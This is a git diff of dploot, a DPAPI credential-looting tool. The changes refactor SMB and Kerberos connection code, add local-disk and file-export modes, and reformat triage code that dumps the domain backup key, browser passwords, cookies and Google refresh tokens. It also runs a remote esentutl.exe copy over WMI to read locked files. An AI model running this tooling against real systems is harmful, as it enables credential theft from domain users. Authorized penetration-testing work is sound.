connection to {}: {}'.format(self.target.address if not kdc else kdc, e)) + logging.debug( + f"Error creating SMBv1 connection to {kdc if kdc else self.target.address}: {e}" + ) return False return True - def create_smbv3_conn(self, kdc=''): + def create_smbv3_conn(self, kdc=""): try: - self.smb_session = SMBConnection(self.target.address if not kdc else kdc, self.target.address if not kdc else kdc, None) + self.smb_session = SMBConnection( + kdc if kdc else self.target.address, + kdc if kdc else self.target.address, + None, + ) self.smbv1 = False - except socket.error as e: - if str(e).find('Too many open files') != -1: - logging.error('SMBv3 connection error on {}: {}'.format(self.target.address if not kdc else kdc, e)) + except OSError as e: + if str(e).find("Too many open files") != -1: + logging.error( + f"SMBv3 connection error on {kdc if kdc else self.target.address}: {e}" + ) return False except (Exception, NetBIOSTimeout) as e: - logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.target.address if not kdc else kdc, e)) + logging.debug( + f"Error creating SMBv3 connection to {kdc if kdc else self.target.address}: {e}" + ) return False return True - def create_conn_obj(self, kdc=''): - if self.create_smbv3_conn(kdc): - return True - elif self.create_smbv1_conn(kdc): + def create_conn_obj(self, kdc=""): + if self.create_smbv3_conn(kdc) or self.create_smbv1_conn(kdc): return True - logging.debug("Could not create connection object to %s" % (self.target.address if not kdc else kdc)) + logging.debug( + "Could not create connection object to %s" + % (kdc if kdc else self.target.address) + ) return False def connect(self) -> "Any | None": @@ -66,18 +136,23 @@ def connect(self) -> "Any | None": if not self.create_conn_obj(): return None try: - self.smb_session.login('' , '') + self.smb_session.login("", "") except Exception as e: if "STATUS_NOT_SUPPORTED" in str(e): no_ntlm = True - pass - hostname = self.smb_session.getServerDNSHostName() if not no_ntlm else self.target.address + hostname = ( + self.smb_session.getServerDNSHostName() + if not no_ntlm + else self.target.address + ) self.smb_session.close() self.target.address = hostname logging.debug("Connecting to %s" % self.target.address) if not self.create_conn_obj(self.target.address): return None - logging.debug("Authenticating with %s through Kerberos" % self.target.username) + logging.debug( + "Authenticating with %s through Kerberos" % self.target.username + ) self.smb_session.kerberosLogin( user=self.target.username, password=self.target.password, @@ -87,23 +162,26 @@ def connect(self) -> "Any | None": aesKey=self.target.aesKey, kdcHost=self.target.kdcHost, useCache=self.target.use_kcache, - ) + ) self.target.username = self.smb_session.getCredentials()[0] else: logging.debug("Connecting to %s" % self.target.address) if not self.create_conn_obj(): return None - logging.debug("Authenticating with %s through NTLM" % self.target.username) + logging.debug( + "Authenticating with %s through NTLM" % self.target.username + ) self.smb_session.login( user=self.target.username, password=self.target.password, domain=self.target.domain, lmhash=self.target.lmhash, - nthash=self.target.nthash - ) + nthash=self.target.nthash, + ) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) return None @@ -111,23 +189,32 @@ def connect(self) -> "Any | None": def remote_list_dir(self, share, path, wildcard=True) -> "Any | None": if wildcard: - path = ntpath.join(path, '*') + path = ntpath.join(path, "*") try: - return self.smb_session.listPath(shareName=share, path=ntpath.normpath(path)) + return self.smb_session.listPath( + shareName=share, path=ntpath.normpath(path) + ) + except Exception: return None def is_admin(self) -> bool: try: - self.smb_session.connectTree('C$') + self.smb_session.connectTree("C$") is_admin = True except Exception: is_admin = False - pass return is_admin - def listPath(self, *args, **kwargs) -> Any: + def listPath(self, *args, **kwargs) -> Any: return self.smb_session.listPath(*args, **kwargs) + + def list_users(self, share): + users_dir_path = "Users\\*" + directories = self.listPath( + shareName=share, path=ntpath.normpath(users_dir_path) + ) + return [d.get_longname() for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0] def reconnect(self) -> bool: self.smb_session.reconnect() @@ -139,82 +226,269 @@ def enable_remoteops(self, force=False) -> None: if self.remote_ops is not None and self.bootkey is not None and not force: return try: - self.remote_ops = RemoteOperations(self.smb_session, self.target.do_kerberos, self.target.dc_ip) + self.remote_ops = RemoteOperations( + self.smb_session, self.target.do_kerberos, self.target.dc_ip + ) self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: - self.logger.error('RemoteOperations failed: {}'.format(e)) + logging.error(f"RemoteOperations failed: {e}") - def listDirs(self, share: str, dirlist: List[str]) -> Dict[str, Any]: - result = dict() - for path in dirlist: - tmp = self.remote_list_dir(share, path=path) - result[path] = tmp - - return result - - def getFile(self, *args, **kwargs) -> "Any | None": + def getFile(self, *args, **kwargs) -> "Any | None": return self.smb_session.getFile(*args, **kwargs) - def readFile(self, shareName, path, mode = FILE_OPEN, offset = 0, password = None, shareAccessMode = FILE_SHARE_READ, bypass_shared_violation = False) -> bytes: + def readFile( + self, + shareName, + path, + mode=FILE_OPEN, + offset=0, + password=None, + shareAccessMode=FILE_SHARE_READ, + bypass_shared_violation=False, + looted_files=None + ) -> bytes: # ToDo: Handle situations where share is password protected - path = path.replace('/', '\\') + path = path.replace("/", "\\") path = ntpath.normpath(path) - if len(path) > 0 and path[0] == '\\': + if len(path) > 0 and path[0] == "\\": path = path[1:] - treeId = self.smb_session.connectTree(shareName) fileId = None data = None try: - fileId = self.smb_session.openFile(treeId, path, FILE_READ_DATA, shareAccessMode, FILE_NON_DIRECTORY_FILE, mode, 0) + fileId = self.smb_session.openFile( + treeId, + path, + FILE_READ_DATA, + shareAccessMode, + FILE_NON_DIRECTORY_FILE, + mode, + 0, + ) fileInfo = self.smb_session.queryInfo(treeId, fileId) - fileSize = fileInfo['EndOfFile'] + fileSize = fileInfo["EndOfFile"] res = self.smb_session._SMBConnection.getIOCapabilities() - if (fileSize-offset) < res['MaxReadSize']: + if (fileSize - offset) < res["MaxReadSize"]: # Skip reading 0 bytes files. - if (fileSize-offset) > 0: - data = self.smb_session._SMBConnection.read(treeId, fileId, offset, fileSize-offset) + if (fileSize - offset) > 0: + data = self.smb_session._SMBConnection.read( + treeId, fileId, offset, fileSize - offset + ) else: written = 0 - toBeRead = fileSize-offset - data = b'' + toBeRead = fileSize - offset + data = b"" while written < toBeRead: - bytesRead = self.smb_session._SMBConnection.read(treeId, fileId, offset, res['MaxReadSize']) + bytesRead = self.smb_session._SMBConnection.read( + treeId, fileId, offset, res["MaxReadSize"] + ) written += len(bytesRead) - offset += len(bytesRead) + offset += len(bytesRead) data += bytesRead except Exception as e: - if 'STATUS_OBJECT_PATH_NOT_FOUND' in str(e): - pass - elif 'STATUS_OBJECT_NAME_NOT_FOUND' in str(e): + logging.debug(f"Exception occurred while trying to read {path}: {e}") + if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e) or "STATUS_OBJECT_NAME_NOT_FOUND" in str(e): pass - elif bypass_shared_violation and 'STATUS_SHARING_VIOLATION' in str(e): + elif bypass_shared_violation and "STATUS_SHARING_VIOLATION" in str(e): wmiexec = DPLootWmiExec(target=self.target) - command = "cmd.exe /Q /c copy \"C:\\%s\" \"C:\\Windows\\Temp\\%s\"" % (path,wmiexec.output) + command = ( + f'cmd.exe /Q /c esentutl.exe /y "C:\\{path}" /d "C:\\Windows\\Temp\\{wmiexec.output}"' + ) wmiexec.run(command) time.sleep(1) while True: try: - filepath = "Windows\\Temp\\" + wmiexec.output + filepath = ntpath.join("Windows\\Temp\\",wmiexec.output) data = self.readFile(shareName=shareName, path=filepath) break except Exception as e: - if str(e).find('STATUS_SHARING_VIOLATION') >=0: + if str(e).find("STATUS_SHARING_VIOLATION") >= 0: # Output not finished, let's wait time.sleep(1) - pass self.smb_session.deleteFile(shareName, wmiexec.output) - elif str(e).find('Broken') >= 0: - logging.debug('Connection broken, trying to recreate it') + elif str(e).find("Broken") >= 0: + logging.debug("Connection broken, trying to recreate it") self.reconnect() - return self.readFile(shareName=shareName, path=path, mode=mode, offset=offset, password=password, shareAccessMode=shareAccessMode, bypass_shared_violation=bypass_shared_violation) + data = self.readFile( + shareName=shareName, + path=path, + mode=mode, + offset=offset, + password=password, + shareAccessMode=shareAccessMode, + bypass_shared_violation=bypass_shared_violation, + looted_files=looted_files + ) else: logging.debug(str(e)) finally: if fileId is not None: self.smb_session._SMBConnection.close(treeId, fileId) self.smb_session.disconnectTree(treeId) - return data \ No newline at end of file + + if looted_files is not None and data is not None and data != b"": + looted_files[os.path.join(*(path.split("\\")))]=data + return data + + def perform_taskkill(self, process_name): + with tsts.LegacyAPI(self.smb_session, self.target.address) as legacy: + handle = legacy.hRpcWinStationOpenServer() + r = legacy.hRpcWinStationGetAllProcesses(handle) + if not len(r): + logging.debug("Could not get process list") + return + pid_list = [ + i["UniqueProcessId"] + for i in r + if i["ImageName"].lower() == process_name.lower() + ] + if not len(pid_list): + logging.debug(f"No process {process_name} found") + logging.debug(f"Found {pid_list} pid(s) for process {process_name}") + for pid in pid_list: + logging.debug(f"Killing PID {pid}") + try: + if legacy.hRpcWinStationTerminateProcess(handle, pid)["ErrorCode"]: + logging(f"Successfully killed process {pid}") + else: + logging(f"Could not kill process {pid}") + except Exception as e: + logging.error(f"Error while terminating pid {pid}: {e}") + + +class DPLootLocalSMBConnection(DPLootSMBConnection): + systemroot = "C:\\Windows" + hklm_software_path = r"Windows/System32/config/SOFTWARE" + + def __init__(self, target=None) -> None: + super().__init__(target) + self.local_ops = None + self.local_session = True + self.smb_session = DPLootDummySession() + # the following are functions that should never be called on this class. + self.enable_remoteops = None + self.reconnect = None + + + def connect(self) -> "Any | None": + return self.smb_session + + def is_admin(self) -> bool: + return True + + def enable_localops(self, systemHive, force=False) -> None: + if self.local_ops is not None and self.bootkey is not None and not force: + return + try: + self.local_ops = LocalOperations(systemHive) + self.bootkey = self.local_ops.getBootKey() + except Exception as e: + logging.error(f"LocalOperations failed: {e}") + + # we 'emulate' remote file operations by converting local os.DirEntry() to impacket.SharedFile() + def _sharedfile_fromdirentry(d: os.DirEntry): + (filesize, atime, mtime, ctime) = d.stat(follow_symlinks=False)[6:] + attribs = 0 + if d.is_dir(follow_symlinks=False): + attribs |= ATTR_DIRECTORY + return SharedFile(ctime, atime, mtime, filesize, None, attribs, d.name, d.name) + + SharedFile.fromDirEntry = _sharedfile_fromdirentry + + def remote_list_dir(self, share, path, wildcard=True) -> "Any | None": + path = os.path.join(self.target.local_root, path.replace("\\", os.sep)) + if not wildcard: + raise NotImplementedError("Not implemented for wildcard == False") + try: + result = list(map(SharedFile.fromDirEntry, os.scandir(path))) + except FileNotFoundError: + result = [] + return result + + def list_users(self, share): + users_dir_path = "Users\\*" + directories = self.listPath( + shareName=share, path=ntpath.normpath(users_dir_path) + ) + return [d.get_longname() for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0] + + def listPath(self, shareName: str = "C$", path: Optional[str] = None, password: Optional[str] = None): + if path[-2:] == r"\*": + return self.remote_list_dir(shareName, path[:-2], wildcard=True) + if path[-1] == "*": + return self.remote_list_dir(shareName, path[:-1], wildcard=True) + else: + raise NotImplementedError("Not implemented for wildcard == False") + + def getFile(self, *args, **kwargs) -> "Any | None": + raise NotImplementedError("getFile is not implemented in LOCAL mode") + + def readFile( + self, + shareName, + path, + mode=FILE_OPEN, + offset=0, + password=None, + shareAccessMode=FILE_SHARE_READ, + bypass_shared_violation=False, + looted_files=None + ) -> bytes: + data = None + try: + with open( + os.path.join(self.target.local_root, path.replace("\\", os.sep)), "rb" + ) as f: + data = f.read() + except Exception as e: + logging.debug(f"Exception occurred while trying to read {path}: {e}") + + return data + + def getUsersProfiles(self) -> dict[str, str] | None: + """Returns the list of user profiles (from registry) in a dict + + Each subkey of HKLM/SOFTWARE/Microsoft/Windows NT/CurrentVersion/ProfileList is a user SID, + and the ProfileImagePath value inside is the path to the user's profile + :return: dict of user_sid: path_to_profile + + """ + if self._usersProfiles is not None: + return self._usersProfiles + + result = {} + # open hive + reg_file_path = os.path.join(self.target.local_root, self.hklm_software_path) + reg = Registry(reg_file_path, isRemote=False) + + # open key + key_path = "Microsoft\\Windows NT\\CurrentVersion\\ProfileList" + parentKey = reg.findKey(key_path) + if parentKey is None: + logging.error(f"Key {key_path} not found in {reg_file_path}") + return None + + for user_sid in reg.enumKey(parentKey): + # get 'ProfileImagePath' value + (_, path) = reg.getValue( + ntpath.join(key_path, user_sid, "ProfileImagePath") + ) + path = ( + path.decode("utf-16le") + .rstrip("\0") + .replace(r"%systemroot%", self.systemroot) + ) + path = ntpath.normpath(path) + # store in result dict + result[user_sid] = path + + self._usersProfiles = result + return self._usersProfiles + + +class DPLootDummySession: + def login(*args, **kwargs) -> bool: + return True diff --git a/dploot/lib/target.py b/dploot/lib/target.py old mode 100755 new mode 100644 index bd9010e..13fb01b --- a/dploot/lib/target.py +++ b/dploot/lib/target.py @@ -1,4 +1,9 @@ import argparse +import sys +from typing import Optional + +from dploot.lib.utils import add_general_args + class Target: def __init__(self) -> None: @@ -14,75 +19,67 @@ def __init__(self) -> None: self.use_kcache: bool = False self.dc_ip: str = None self.aesKey: str = None + self.local_root: str = None + self.is_local: bool = False @staticmethod def from_options(options) -> "Target": - self = Target() - - username = options.username - - domain = options.domain - - if domain is None: - domain = "" - - password = options.password - if ( - not password - and username != "" - and options.hashes is None - and options.aesKey is None - and options.no_pass is not True - ): - from getpass import getpass - - password = getpass("Password:") - hashes = options.hashes - if hashes is not None: - hashes = hashes.split(':') - if len(hashes) == 1: - (nthash,) = hashes - lmhash = nthash - else: - lmhash, nthash = hashes - else: - nthash = '' - lmhash = '' - if options.dc_ip is None: options.dc_ip = options.target - self.domain = domain - self.username = username if username is not None else "" - self.password = password - self.address = options.target - self.lmhash = lmhash - self.nthash = nthash - self.do_kerberos = options.k or options.aesKey is not None or options.use_kcache - self.kdcHost = options.kdcHost - self.use_kcache = options.use_kcache - self.dc_ip = options.dc_ip - self.aesKey = options.aesKey - - return self + return Target.create( + domain=options.domain, + username=options.username if options.username is not None else "", + password=options.password if options.password is not None else "", + target=options.target, + hashes=options.hashes, + lmhash=None, + nthash=None, + do_kerberos=options.k or options.aesKey is not None or options.use_kcache, + kdcHost=options.kdcHost, + use_kcache=options.use_kcache, + no_pass=options.no_pass, + dc_ip=options.dc_ip, + aesKey=options.aesKey, + local_root=options.localroot, + ) @staticmethod - def create(domain: str = None, + def create( + domain: Optional[str] = None, username: str = "", - password: str = None, - target: str = None, - hashes: str = None, - lmhash: str = None, - nthash: str = None, - do_kerberos: bool = False, - kdcHost: str = None, + password: str = "", + target: Optional[str] = None, + hashes: Optional[str] = None, + lmhash: str = "", + nthash: str = "", + do_kerberos: bool = False, + kdcHost: Optional[str] = None, use_kcache: bool = False, no_pass: bool = False, - dc_ip: str = None, - aesKey: str = None) -> "Target": - + dc_ip: Optional[str] = None, + aesKey: Optional[str] = None, + local_root: Optional[str] = None, + ) -> "Target": self = Target() + if target == "LOCAL": + self.is_local = True + + if self.is_local is True: + if do_kerberos or use_kcache or kdcHost is not None: + print( + "Invalid options: Use kerberos does not make sense when target=LOCAL", + file=sys.stderr, + ) + sys.exit(1) + if dc_ip is not None and dc_ip != "LOCAL": + print( + "Invalid options: dc-ip conflicts with target=LOCAL", + file=sys.stderr, + ) + sys.exit(1) + if domain is None: domain = "" @@ -93,21 +90,22 @@ def create(domain: str = None, and aesKey is None and no_pass is not True and do_kerberos is not True + and self.is_local is not True ): from getpass import getpass password = getpass("Password:") if hashes is not None: - hashes = hashes.split(':') + hashes = hashes.split(":") if len(hashes) == 1: (nthash,) = hashes lmhash = nthash else: lmhash, nthash = hashes elif lmhash is None and nthash is None: - lmhash = nthash = '' - + lmhash = nthash = "" + if dc_ip is None: dc_ip = target @@ -122,18 +120,24 @@ def create(domain: str = None, self.use_kcache = use_kcache self.dc_ip = dc_ip self.aesKey = aesKey + self.local_root = local_root + return self def __repr__(self) -> str: return "" % repr(self.__dict__) -def add_target_argument_group(parser: argparse.ArgumentParser,) -> None: +def add_target_argument_group( + parser: argparse.ArgumentParser, +) -> None: parser.add_argument( - "target", + "-t", + "-target", action="store", + dest="target", metavar="", - help="Target ip or address", + help="Target ip or address, or LOCAL", ) parser.add_argument( @@ -163,12 +167,10 @@ def add_target_argument_group(parser: argparse.ArgumentParser,) -> None: help="Password", ) - parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") - - parser.add_argument("-quiet", action="store_true", help="Only output dumped credentials") + add_general_args(parser) group = parser.add_argument_group("authentication") - + group.add_argument( "-hashes", action="store", @@ -178,14 +180,22 @@ def add_target_argument_group(parser: argparse.ArgumentParser,) -> None: group.add_argument( "-no-pass", action="store_true", help="don't ask for password (useful for -k)" ) + group.add_argument("-k", action="store_true", help="Use Kerberos authentication") group.add_argument( - "-k", + "-aesKey", + action="store", + metavar="hex key", + help="AES key to use for Kerberos Authentication (128 or 256 bits)", + ) + group.add_argument( + "-use-kcache", action="store_true", - help="Use Kerberos authentication" + help="Use Kerberos authentication from ccache file (KRB5CCNAME)", + ) + group.add_argument( + "-kdcHost", + help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter", ) - group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') - group.add_argument("-use-kcache", action='store_true', help="Use Kerberos authentication from ccache file (KRB5CCNAME)") - group.add_argument("-kdcHost", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") group.add_argument( "-dc-ip", action="store", @@ -194,4 +204,14 @@ def add_target_argument_group(parser: argparse.ArgumentParser,) -> None: "IP Address of the domain controller. If omitted it will use the domain " "part (FQDN) specified in the target parameter" ), - ) \ No newline at end of file + ) + group.add_argument( + "-root", + action="store", + dest="localroot", + metavar="path", + default=".", + help=( + "Root directory (for local operations). This directory should contain Windows and Users subdirectories" + ), + ) diff --git a/dploot/lib/utils.py b/dploot/lib/utils.py index 36ddfa7..3dc1089 100755 --- a/dploot/lib/utils.py +++ b/dploot/lib/utils.py @@ -8,54 +8,92 @@ def is_guid(value: str): - guid = re.compile(r'^(\{{0,1}([0-9a-fA-F]{8})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{12})\}{0,1})$') - return guid.match(value) + guid = re.compile( + r"^(\{{0,1}([0-9a-fA-F]{8})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{12})\}{0,1})$" + ) + return guid.match(value) + def find_guid(value: str): - guid = re.compile(r'(([0-9a-fA-F]{8})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{12}))') - return guid.search(value).group() + guid = re.compile( + r"(([0-9a-fA-F]{8})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{12}))" + ) + return guid.search(value).group() + def find_sha1(value: str): - guid = re.compile(r'([a-f0-9]{40})') - return guid.search(value).group() + guid = re.compile(r"([a-f0-9]{40})") + return guid.search(value).group() + def is_certificate_guid(value: str): - guid = re.compile(r'^(\{{0,1}([0-9a-fA-F]{32})_([0-9a-fA-F]{8})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{12})\}{0,1})$') - return guid.match(value) + guid = re.compile( + r"^(\{{0,1}([0-9a-fA-F]{32})_([0-9a-fA-F]{8})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{4})-([0-9a-fA-F]{12})\}{0,1})$" + ) + return guid.match(value) + def is_credfile(value: str): - guid = re.compile(r'[A-F0-9]{32}') - return guid.match(value) - -def handle_outputdir_option(dir: str) -> str: - if dir is not None and dir != '': - if not os.path.exists(dir): - os.makedirs(dir, 0o744) - elif not os.path.isdir(dir): - logging.error("Output Directory exists and is a file, exiting...") - os.exit(1) - return dir - return None - -def get_random_chars(size:int = 10) -> str: - charset = string.ascii_uppercase + string.digits + string.ascii_lowercase - return ''.join(random.choice(charset) for i in range(size)) + guid = re.compile(r"[A-F0-9]{32}") + return guid.match(value) + + +def handle_outputdir_option(directory: str) -> str: + if directory is not None and directory != "": + if not os.path.exists(directory): + os.makedirs(directory, 0o744) + elif not os.path.isdir(directory): + logging.error("Output Directory exists and is a file, exiting...") + os.exit(1) + return directory + return None + + +def get_random_chars(size: int = 10) -> str: + charset = string.ascii_uppercase + string.digits + string.ascii_lowercase + return "".join(random.choice(charset) for i in range(size)) + def datetime_to_time(timestamp_utc) -> str: - return (datetime(1601, 1, 1) + timedelta(microseconds=timestamp_utc)).strftime('%b %d %Y %H:%M:%S') + return (datetime(1601, 1, 1) + timedelta(microseconds=timestamp_utc)).strftime( + "%b %d %Y %H:%M:%S" + ) + +def dump_looted_files_to_disk(output_dir, looted_files) -> None: + for path, file_content in looted_files.items(): + local_filepath = os.path.join(output_dir, path) + os.makedirs(os.path.dirname(local_filepath), exist_ok=True) + with open(local_filepath,"wb") as f: + if file_content is None: + file_content = b"" + f.write(file_content) def parse_file_as_list(filename: str) -> List[str]: - arr = list() - with open(filename, 'r') as lines: - for line in lines: - arr.append(line.rstrip('\n')) - return arr - -def parse_file_as_dict(filename: str) -> Dict[str,str]: - arr = dict() - with open(filename, 'r') as lines: - for line in lines: - tmp_line = line.rstrip('\n') - tmp_line = tmp_line.split(':',1) - arr[tmp_line[0]]=tmp_line[1] - return arr \ No newline at end of file + with open(filename) as lines: + return [line.rstrip("\n") for line in lines] + + +def parse_file_as_dict(filename: str) -> Dict[str, str]: + arr = {} + with open(filename) as lines: + for line in lines: + tmp_line = line.rstrip("\n") + tmp_line = tmp_line.split(":", 1) + arr[tmp_line[0]] = tmp_line[1] + return arr + +def add_general_args(parser): + parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON") + + parser.add_argument( + "-quiet", action="store_true", help="Only output dumped credentials" + ) + + parser.add_argument( + "-export-dir", + action="store", + metavar="DIR", + help=( + "Dump looted files to specified directory, regardless they were decrypted" + ), + ) \ No newline at end of file diff --git a/dploot/lib/wmi.py b/dploot/lib/wmi.py index 893d901..9e17972 100644 --- a/dploot/lib/wmi.py +++ b/dploot/lib/wmi.py @@ -7,8 +7,9 @@ from dploot.lib.target import Target + class DPLootWmiExec: - def __init__(self, target:Target=None): + def __init__(self, target: Target = None): self.__username = target.username self.__password = target.password self.__domain = target.domain @@ -19,29 +20,42 @@ def __init__(self, target:Target=None): self.__kdcHost = target.kdcHost self.__doKerberos = target.do_kerberos - self.__share = 'C$' - self.__pwd = str('C:\\') + self.__share = "C$" + self.__pwd = "C:\\" self.output = str(time.time()) self.__win32Process = None def run(self, command): - logging.getLogger("impacket").disabled = True - dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, - self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) + if logging.getLogger().level != logging.DEBUG: + logging.getLogger("impacket").disabled = True + dcom = DCOMConnection( + self.__addr, + self.__username, + self.__password, + self.__domain, + self.__lmhash, + self.__nthash, + self.__aesKey, + oxidResolver=True, + doKerberos=self.__doKerberos, + kdcHost=self.__kdcHost, + ) try: - iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) + iInterface = dcom.CoCreateInstanceEx( + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + ) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) - iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) + iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() - self.__win32Process,_ = iWbemServices.GetObject('Win32_Process') + self.__win32Process, _ = iWbemServices.GetObject("Win32_Process") self.execute_remote(command) - except (Exception, KeyboardInterrupt) as e: + except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) dcom.disconnect() def execute_remote(self, command): self.__win32Process.Create(command, self.__pwd, None) - diff --git a/dploot/triage/backupkey.py b/dploot/triage/backupkey.py index 23178c5..17e1397 100755 --- a/dploot/triage/backupkey.py +++ b/dploot/triage/backupkey.py @@ -10,6 +10,7 @@ from dploot.lib.target import Target from dploot.lib.smb import DPLootSMBConnection + class Backupkey: def __init__(self, backupkey_v1, pvk_header, pvk_data): self.backupkey_v1 = backupkey_v1 @@ -17,17 +18,17 @@ def __init__(self, backupkey_v1, pvk_header, pvk_data): self.pvk_data = pvk_data self.backupkey_v2 = self.pvk_header.getData() + self.pvk_data -class BackupkeyTriage: +class BackupkeyTriage: def __init__(self, target: Target, conn: DPLootSMBConnection) -> None: self.target = target self.conn = conn - + self.dce = None self._users = None def connect(self) -> None: - rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\lsarpc]') + rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\lsarpc]") rpctransport.set_smb_connection(self.conn.smb_session) self.dce = rpctransport.get_dce_rpc() if self.target.do_kerberos: @@ -37,43 +38,44 @@ def connect(self) -> None: self.dce.bind(lsad.MSRPC_UUID_LSAD) except transport.DCERPCException as e: raise e - + def triage_backupkey(self) -> None: - if self.dce is None: self.connect() resp = lsad.hLsarOpenPolicy2(self.dce, lsad.POLICY_GET_PRIVATE_INFORMATION) backupkey_v1 = None pvk_header = None - pvk_data = None + pvk_data = None for keyname in ("G$BCKUPKEY_PREFERRED", "G$BCKUPKEY_P"): - buffer = crypto.decryptSecret(self.conn.smb_session.getSessionKey(), lsad.hLsarRetrievePrivateData(self.dce, - resp['PolicyHandle'], keyname)) + buffer = crypto.decryptSecret( + self.conn.smb_session.getSessionKey(), + lsad.hLsarRetrievePrivateData(self.dce, resp["PolicyHandle"], keyname), + ) guid = bin_to_string(buffer) - name = "G$BCKUPKEY_{}".format(guid) - secret = crypto.decryptSecret(self.conn.smb_session.getSessionKey(), lsad.hLsarRetrievePrivateData(self.dce, - resp['PolicyHandle'], name)) - keyVersion = struct.unpack(' None: - print('[%s LOGIN DATA]' % self.browser.upper()) - print('URL:\t\t%s' % self.url) - print('Username:\t%s' % self.username) + print("[%s LOGIN DATA]" % self.browser.upper()) + print("URL:\t\t%s" % self.url) + print("Username:\t%s" % self.username) if self.password is not None: - print('Password:\t%s' % self.password) + print("Password:\t%s" % self.password) print() def dump_quiet(self) -> None: - print("[%s] %s - %s:%s" % (self.browser.upper(), self.url, self.username, self.password)) + print( + f"[{self.browser.upper()}] {self.url} - {self.username}:{self.password}" + ) + @dataclass class Cookie: winuser: str - browser:str - host:str + browser: str + host: str path: str - cookie_name:str - cookie_value:str - creation_utc:str - expires_utc:str - last_access_utc:str + cookie_name: str + cookie_value: str + creation_utc: str + expires_utc: str + last_access_utc: str def dump(self) -> None: - print('[%s COOKIE DATA]' % self.browser.upper()) - print('Host (path):\t\t%s (%s)' % (self.host,self.path)) - print('Cookie Name:\t\t%s' % self.cookie_name) + print("[%s COOKIE DATA]" % self.browser.upper()) + print(f"Host (path):\t\t{self.host} ({self.path})") + print("Cookie Name:\t\t%s" % self.cookie_name) if self.cookie_value is not None: - print('Cookie Value:\t\t%s' % self.cookie_value) - print('Creation UTC:\t\t%s' % datetime_to_time(self.creation_utc)) - print('Expires UTC:\t\t%s' % datetime_to_time(self.expires_utc)) - print('Last Access UTC:\t%s' % datetime_to_time(self.last_access_utc)) + print("Cookie Value:\t\t%s" % self.cookie_value) + print("Creation UTC:\t\t%s" % datetime_to_time(self.creation_utc)) + print("Expires UTC:\t\t%s" % datetime_to_time(self.expires_utc)) + print("Last Access UTC:\t%s" % datetime_to_time(self.last_access_utc)) print() def dump_quiet(self) -> None: - print("[%s] %s%s - %s:%s" % (self.browser.upper(), self.host, self.path, self.cookie_name, self.cookie_value)) + print( + f"[{self.browser.upper()}] {self.host}{self.path} - {self.cookie_name}:{self.cookie_value}" + ) + @dataclass class GoogleRefreshToken: @@ -67,175 +73,263 @@ class GoogleRefreshToken: token: str def dump(self) -> None: - print('[%s - GOOGLE REFRESH TOKEN]' % self.browser.upper()) - print('Service:\t%s' % self.service) - print('Token:\t\t%s' % self.token) + print("[%s - GOOGLE REFRESH TOKEN]" % self.browser.upper()) + print("Service:\t%s" % self.service) + print("Token:\t\t%s" % self.token) print() def dump_quiet(self) -> None: - print("[%s] GRT %s:%s" % (self.browser.upper(), self.service, self.token)) + print(f"[{self.browser.upper()}] GRT {self.service}:{self.token}") -class BrowserTriage: - false_positive = ['.','..', 'desktop.ini','Public','Default','Default User','All Users'] +class BrowserTriage: + false_positive = [ + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ] user_google_chrome_generic_login_path = { - 'aesStateKeyPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Local State', - 'loginDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data', - 'webDataPath':'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data', - 'cookiesDataPath':[ - 'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies', - 'Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies' - ] + "aesStateKeyPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", + "loginDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", + "webDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data", + "cookiesDataPath": [ + "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", + "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies", + ], } user_msedge_generic_login_path = { - 'aesStateKeyPath':'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State', - 'loginDataPath':'Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data', - 